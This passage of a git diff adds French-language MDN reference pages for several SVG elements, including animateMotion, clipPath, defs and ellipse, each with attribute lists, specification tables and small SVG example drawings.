+ <li><a href="https://developer.mozilla.org/fr/docs/SVG/Attribute#AnimationValue" title="SVG/Attribute#AnimationValue">Attributs d'animation de valeurs</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/SVG/Attribute#AnimationAddition" title="SVG/Attribute#AnimationAddition">Attributs d'animation d'ajout</a> »</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("by") }}</li>
+ <li>{{ SVGAttr("from") }}</li>
+ <li>{{ SVGAttr("to") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/fr/docs/DOM/SVGAnimateColorElement" title="en/DOM/SVGAnimateColorElement">SVGAnimateColorElement</a></code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush:html">&lt;svg width="120" height="120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;circle cx="60" cy="60" r="50"&gt;
+    &lt;animateColor attributeName="fill" attributeType="XML"
+        from="black" to="red" dur="6s" repeatCount="indefinite"/&gt;
+  &lt;/circle&gt;
+&lt;/svg&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 120, 120)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG1.1", "animate.html#AnimateColorElement", "&lt;animateColor&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.animateColor")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{ SVGElement("animate") }}</li>
+</ul>
diff --git a/files/fr/web/svg/element/animatemotion/index.html b/files/fr/web/svg/element/animatemotion/index.html
new file mode 100644
index 0000000000..40aac45931
--- /dev/null
+++ b/files/fr/web/svg/element/animatemotion/index.html
@@ -0,0 +1,111 @@
+---
+title: animateMotion
+slug: Web/SVG/Element/animateMotion
+tags:
+  - Animation SVG
+  - Element
+  - SVG
+translation_of: Web/SVG/Element/animateMotion
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <strong><code>&lt;animateMotion&gt;</code></strong> permet d'animer un élément le long d'un chemin donné.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#ConditionalProccessing">Attributs à traitement conditionnel</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#Core">Attributs fondamentaux</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/SVG/Attribute#AnimationEvent">Attributs d'événements d'animation</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#XLink">Attributs XLink</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/SVG/Attribute#AnimationTiming" title="SVG/Attribute#AnimationTiming">Attributs d'animation de timing</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/SVG/Attribute#AnimationValue" title="SVG/Attribute#AnimationValue">Attributs d'animation de valeurs</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/SVG/Attribute#AnimationAddition" title="SVG/Attribute#AnimationAddition">Attributs d'animation d'ajout</a> »</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("calcMode") }}</li>
+ <li>{{ SVGAttr("path") }}</li>
+ <li>{{ SVGAttr("keyPoints") }}</li>
+ <li>{{ SVGAttr("rotate") }}</li>
+ <li>{{ SVGAttr("origin") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/fr/docs/DOM/SVGAnimateMotionElement" title="en/DOM/SVGAnimateMotionElement">SVGAnimateMotionElement</a></code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[18-20]">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120" viewBox="0 0 120 120"
+    xmlns="http://www.w3.org/2000/svg" version="1.1"
+    xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+  &lt;!-- Dessine le chemin en gris, avec 2 cercles aux extrémités --&gt;
+  &lt;path d="M10,110 A120,120 -45 0,1 110 10 A120,120 -45 0,1 10,110"
+      stroke="lightgrey" stroke-width="2"
+      fill="none" id="theMotionPath"/&gt;
+  &lt;circle cx="10" cy="110" r="3" fill="lightgrey"  /&gt;
+  &lt;circle cx="110" cy="10" r="3" fill="lightgrey"  /&gt;
+
+  &lt;!-- Cercle rouge qui sera déplacé le long du chemin. --&gt;
+  &lt;circle cx="" cy="" r="5" fill="red"&gt;
+
+    &lt;!-- Définit l'animation --&gt;
+    &lt;animateMotion dur="6s" repeatCount="indefinite"&gt;
+      &lt;mpath xlink:href="#theMotionPath"/&gt;
+    &lt;/animateMotion&gt;
+  &lt;/circle&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 120, 120)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG Animations 2", "#AnimateMotionElement", "&lt;animateMotion&gt;")}}</td>
+   <td>{{Spec2("SVG Animations 2")}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'animate.html#AnimateMotionElement', '&lt;animateMotion&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.animateMotion")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ SVGElement("mpath") }}</li>
+</ul>
diff --git a/files/fr/web/svg/element/animatetransform/index.html b/files/fr/web/svg/element/animatetransform/index.html
new file mode 100644
index 0000000000..06906540c6
--- /dev/null
+++ b/files/fr/web/svg/element/animatetransform/index.html
@@ -0,0 +1,95 @@
+---
+title: animateTransform
+slug: Web/SVG/Element/animateTransform
+tags:
+  - Element
+  - SVG
+  - SVG Animation
+translation_of: Web/SVG/Element/animateTransform
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <strong><code>&lt;animateTransform&gt;</code></strong> permet d'animer un élement en appliquant une transformation: translation, mise à l'échelle, rotation et/ou inclinaison.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120"  viewBox="0 0 120 120"
+     xmlns="http://www.w3.org/2000/svg" version="1.1"
+     xmlns:xlink="http://www.w3.org/1999/xlink" &gt;
+
+    &lt;polygon points="60,30 90,90 30,90"&gt;
+        &lt;animateTransform attributeName="transform"
+                          attributeType="XML"
+                          type="rotate"
+                          from="0 60 70"
+                          to="360 60 70"
+                          dur="10s"
+                          repeatCount="indefinite"/&gt;
+    &lt;/polygon&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('Exemple','120','120') }}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/en-US/docs/SVG/Attribute#ConditionalProccessing" title="en/SVG/Attribute#ConditionalProccessing"><span class="short_text" id="result_box" lang="fr"><span class="hps">Attributs de traitement conditionnel</span></span></a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#Core" title="en/SVG/Attribute#Core">Attributs de base</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#AnimationEvent" title="en/SVG/Attribute#AnimationEvent">Attributs de l'évènement d'animation</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#XLink" title="en/SVG/Attribute#XLink">Attributs Xlink</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#AnimationAttributeTarget" title="en/SVG/Attribute#AnimationAttributeTarget">Attributs de ciblage d'animation</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#AnimationTiming" title="en/SVG/Attribute#AnimationTiming">Attributs de chronométrage d'animation</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#AnimationValue" title="en/SVG/Attribute#AnimationValue">Attributs de valeur d'animation</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#AnimationAddition" title="en/SVG/Attribute#AnimationAddition">Attributs d'ajout d'animations</a> »</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("by") }}</li>
+ <li>{{ SVGAttr("from") }}</li>
+ <li>{{ SVGAttr("to") }}</li>
+ <li>{{ SVGAttr("type") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/en-US/docs/DOM/SVGAnimateTransformElement" title="en/DOM/SVGAnimateTransformElement">SVGAnimateTransformElement</a></code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG Animations 2", "#AnimateTransformElement", "&lt;animateTransform&gt;")}}</td>
+   <td>{{Spec2("SVG Animations 2")}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'animate.html#AnimateTransformElement', '&lt;animateTransform&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.animateTransform")}}</p>
diff --git a/files/fr/web/svg/element/circle/index.html b/files/fr/web/svg/element/circle/index.html
new file mode 100644
index 0000000000..8cc64ab6f0
--- /dev/null
+++ b/files/fr/web/svg/element/circle/index.html
@@ -0,0 +1,68 @@
+---
+title: circle
+slug: Web/SVG/Element/circle
+tags:
+  - SVG
+  - SVG Element
+  - SVG Reference
+translation_of: Web/SVG/Element/circle
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <code>circle</code> est un élément de la catégorie des Formes simples, utilisé pour créer des cercles, en se basant sur un centre et un rayon.</p>
+
+<h2 id="Usage">Usage</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<div class="hidden">
+<pre class="brush: css"> html,body,svg { height:100% } </pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;circle cx="50" cy="50" r="50"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple', 100, 100)}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_Globaux">Attributs Globaux</h3>
+
+<ul>
+ <li><a href="/fr/SVG/Attribute#ConditionalProccessing" title="fr/SVG/Attribute#ConditionalProccessing">Attributs conditionnels</a> »</li>
+ <li><a href="/fr/SVG/Attribute#Core" title="fr/SVG/Attribute#Core">Attributs centraux</a> »</li>
+ <li><a href="/fr/SVG/Attribute#GraphicalEvent" title="fr/SVG/Attribute#GraphicalEvent">Attributs d'événements graphiques</a> »</li>
+ <li><a href="/fr/SVG/Attribute#Presentation" title="fr/SVG/Attribute#Presentation">Attributs de présentation</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("cx") }}</li>
+ <li>{{ SVGAttr("cy") }}</li>
+ <li>{{ SVGAttr("r") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{ domxref("SVGCircleElement") }}.</p>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<p>{{Compat("svg.elements.circle")}}</p>
+
+<h2 id="Corrélat">Corrélat</h2>
+
+<ul>
+ <li>{{ SVGElement("ellipse") }}</li>
+ <li>{{ SVGElement("rect") }}</li>
+</ul>
diff --git a/files/fr/web/svg/element/clippath/index.html b/files/fr/web/svg/element/clippath/index.html
new file mode 100644
index 0000000000..44ff32994f
--- /dev/null
+++ b/files/fr/web/svg/element/clippath/index.html
@@ -0,0 +1,114 @@
+---
+title: <clipPath>
+slug: Web/SVG/Element/clipPath
+tags:
+  - Element
+  - SVG
+translation_of: Web/SVG/Element/clipPath
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;clipPath&gt;</code></strong> définit un détourage. Ce détourage peut par la suite être appliqué sur une forme en utilisant la propriété {{SVGAttr("clip-path")}}.</p>
+
+<p>Le détourage limite la zone dans laquelle l'élément sur lequel il est appliqué sera dessiné. Autrement dit, les parties de l'élément en dehors de la forme créée par le détourage ne seront pas affichées.</p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100"&gt;
+  &lt;clipPath id="myClip"&gt;
+    &lt;!-- La forme crée par le détourage est un simple cercle. --&gt;
+    &lt;circle cx="40" cy="35" r="35" /&gt;
+  &lt;/clipPath&gt;
+
+  &lt;!-- Le coeur sans détourage, pour référence --&gt;
+  &lt;path id="heart" d="M10,30 A20,20,0,0,1,50,30 A20,20,0,0,1,90,30 Q90,60,50,90 Q10,60,10,30 Z" /&gt;
+
+  &lt;!--
+    Le coeur avec détourage.
+    Seule la partie à l'intérieur du cercle est visible.
+  --&gt;
+  &lt;use clip-path="url(#myClip)" xlink:href="#heart" fill="red" /&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: css">/* Animation CSS pour les navigateurs *
+ * qui implémentent la propriété de géométrie r. */
+
+@keyframes openYourHeart {from {r: 0} to {r: 60px}}
+
+#myClip circle {
+  animation: openYourHeart 15s infinite;
+}</pre>
+
+<p>{{EmbedLiveSample('Example', 100, 100)}}</p>
+</div>
+
+<p>Sur le plan conceptuel, un détourage est un peu comme une zone d'affichage personnalisée pour l'élément sur lequel il est appliqué. Cela va limiter la zone dans laquelle l'élément est affiché, sans affecter sa géométrie (position, taille, etc).</p>
+
+<p>La zone de sélection d'un élément détouré (c'est à dire un élément qui référence un <code>&lt;clipPath&gt;</code> via la propriété {{SVGAttr("clip-path")}}, ou un de ses enfant) reste la même, comme s'il n'était pas tronqué.</p>
+
+<p>Par défaut, les événements de pointeur ne sont pas déclenchés sur les régions détourées (non visibles) d'une forme. Par exemple, un cercle avec un rayon de 10 qui est détouré à un cercle de rayon 5, ne recevra pas d'événement "click" en dehors de ce rayon de 5. Ce comportement peut être modifié avec la propriété {{cssxref("pointer-events")}}.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt>{{SVGAttr("clipPathUnits")}}</dt>
+ <dd>Cet attribut définit le système de coordonnées pour le contenu de l'élément <code>&lt;clipPath&gt;</code>.<br>
+ <small><em>Valeur</em>: <code>userSpaceOnUse</code>|<code>objectBoundingBox</code> ; <em>Valeur par défaut</em>: <code>userSpaceOnUse</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+</dl>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Core">Attributs de base</a></dt>
+ <dd><small>Notamment: {{SVGAttr('id')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Styling">Attributs de style</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Conditional_Processing">Attributs de traitement conditionnel</a></dt>
+ <dd><small>Notamment: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Presentation">Attributs de présentation</a></dt>
+ <dd><small>Notamment: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+</dl>
+
+<h2 id="Notes_d'usage">Notes d'usage</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#ClipPathElement", "&lt;clipPath&gt;")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "masking.html#EstablishingANewClippingPath", "&lt;clipPath&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.clipPath")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Élément de masquage: {{SVGElement("mask")}}</li>
+ <li>Quelques propriétés CSS: {{cssxref("clip-path")}}, {{cssxref("pointer-events")}}</li>
+</ul>
diff --git a/files/fr/web/svg/element/defs/index.html b/files/fr/web/svg/element/defs/index.html
new file mode 100644
index 0000000000..56fbe41a82
--- /dev/null
+++ b/files/fr/web/svg/element/defs/index.html
@@ -0,0 +1,137 @@
+---
+title: <defs>
+slug: Web/SVG/Element/defs
+translation_of: Web/SVG/Element/defs
+---
+<div>{{SVGRef}}</div>
+
+<p>SVG permet de définir des objets graphiques (génériques) pour une utilisation ultérieure. Autant qu'il est possible, cet usage est recommandé grâce aux propriétés offertes par l'élément <code>defs</code>.<br>
+ Ainsi définir ces éléments au sein de l'élément <code>defs</code> promeut une meilleure compréhension du contenu SVG par l'homme et donc son accessibilité.<br>
+ <br>
+ Les éléments définis grâce à <code>defs</code> ne sont jamais directement générés (<em>au sens du rendu graphique : ils ne sont pas affichés</em>). Vous devez utiliser l'élément {{SVGElement("use")}} pour leur-s utilisation-s lorsque vous le souhaitez au sein du <code>viewport</code>.</p>
+
+<h2 id="Contexte_d'usage">Contexte d'usage</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: xml">&lt;svg width="80px" height="30px" viewBox="0 0 80 30"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient01"&gt;
+      &lt;stop offset="20%" stop-color="#39F" /&gt;
+      &lt;stop offset="90%" stop-color="#F3F" /&gt;
+    &lt;/linearGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10" y="10" width="60" height="10"
+        fill="url(#Gradient01)"  /&gt;
+&lt;/svg&gt;
+</pre>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+ <li>{{SVGAttr("transform")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<p><em>Il ne dispoe pas d'attributs spécifiques. </em></p>
+
+<h2 id="Interface_avec_DOM">Interface avec DOM</h2>
+
+<p>Cet élément est implémenté par l'interface <code><a href="/en-US/docs/Web/API/SVGDefsElement">SVGDefsElement</a></code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'struct.html#Head', '&lt;defs&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'struct.html#Head', '&lt;defs&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop('1.8')}}</td>
+   <td>{{CompatIE('9.0')}}</td>
+   <td>{{CompatOpera('8.0')}}</td>
+   <td>{{CompatSafari('3.0.4')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatAndroid('3.0')}}</td>
+   <td>{{CompatGeckoMobile('1.8')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('3.0.4')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>The chart is based on <a href="/en-US/docs/Web/SVG/Compatibility_sources">these sources</a>.</p>
+
+<h2 id="En_lien_avec">En lien avec</h2>
+
+<ul>
+ <li>{{SVGElement("use")}}</li>
+</ul>
diff --git a/files/fr/web/svg/element/desc/index.html b/files/fr/web/svg/element/desc/index.html
new file mode 100644
index 0000000000..a67db82bb0
--- /dev/null
+++ b/files/fr/web/svg/element/desc/index.html
@@ -0,0 +1,48 @@
+---
+title: desc
+slug: Web/SVG/Element/desc
+tags:
+  - Element
+  - SVG
+  - SVG Description
+translation_of: Web/SVG/Element/desc
+---
+<div>{{SVGRef}}</div>
+
+<p>Tout élément graphique ou conteneur dans un dessin SVG peut définir une description en utilisant l'élément <strong><code>&lt;desc&gt;</code></strong>, cette description ne peut contenir que du texte.</p>
+
+<p>Quand l'élément contenant une description apparaît à l'utilisateur sous forme d'image, l'élément <code>&lt;desc&gt;</code> n'est pas affiché. Néanmoins, quelques moteurs de rendu peuvent, par exemple, l'afficher sous forme d'infobulle. Des représentations alternatives sont possibles, visuelles ou auditives, en remplacement des éléments graphiques. De manière générale, cet élément améliore l'accessibilité des documents SVG.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux" style="line-height: 24px; font-size: 1.71428571428571rem;">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base" title="en/SVG/Attribute#Core">Attributs de base</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques" style="line-height: 24px; font-size: 1.71428571428571rem;">Attributs spécifiques</h3>
+
+<p><em>(Aucun)</em></p>
+
+<h2 id="Interface_DOM" style="line-height: 30px; font-size: 2.14285714285714rem;">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/fr/docs/Web/API/SVGDescElement" title="en/DOM/SVGDescElement">SVGDescElement</a></code>.</p>
+
+<h2 id="Compatibilitée_des_navigateurs">Compatibilitée des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.desc")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ SVGElement("title") }}</li>
+</ul>
diff --git a/files/fr/web/svg/element/ellipse/index.html b/files/fr/web/svg/element/ellipse/index.html
new file mode 100644
index 0000000000..571dbe6acd
--- /dev/null
+++ b/files/fr/web/svg/element/ellipse/index.html
@@ -0,0 +1,155 @@
+---
+title: ellipse
+slug: Web/SVG/Element/ellipse
+tags:
+  - SVG
+  - SVG Element
+  - SVG Reference
+translation_of: Web/SVG/Element/ellipse
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <code>ellipse</code> est une forme basique SVG,utilisé pour créer des ellipses basées sur un centre, et ses deux rayons x et y.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Il est impossible de spécifier l'orientation exacte d'une ellipse (par exemple, si vous souhaitez dessiner une ellipse à un angle de 45°), mais l'ellipse peut avoir une rotation avec l'attribut {{ SVGAttr("transform") }}.</p>
+</div>
+
+<pre class="notranslate">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;ellipse cx="100" cy="50" rx="100" ry="50" /&gt;
+&lt;/svg&gt;</pre>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+
+
+<dl>
+ <dt>{{ SVGAttr("cx") }}</dt>
+ <dd>La position x de l'ellipse.<br>
+ <small>Type de valeur : <strong><a href="/fr/docs/Web/SVG/Content_type#Length">&lt;longueur&gt;</a></strong>|<a href="/fr/docs/Web/SVG/Content_type#Percentage">&lt;pourcentage&gt;</a>; Valeur par défaut : <code>0</code>; Animable : <strong>oui</strong>.</small></dd>
+ <dt>{{ SVGAttr("cy") }}</dt>
+ <dd>La position y de l'ellipse.<br>
+ <small>Type de valeur : <strong><a href="/fr/docs/Web/SVG/Content_type#Length">&lt;longueur&gt;</a></strong>|<a href="/fr/docs/Web/SVG/Content_type#Percentage">&lt;pourcentage&gt;</a>; Valeur par défaut : <code>0</code>; Animable : <strong>oui</strong>.</small></dd>
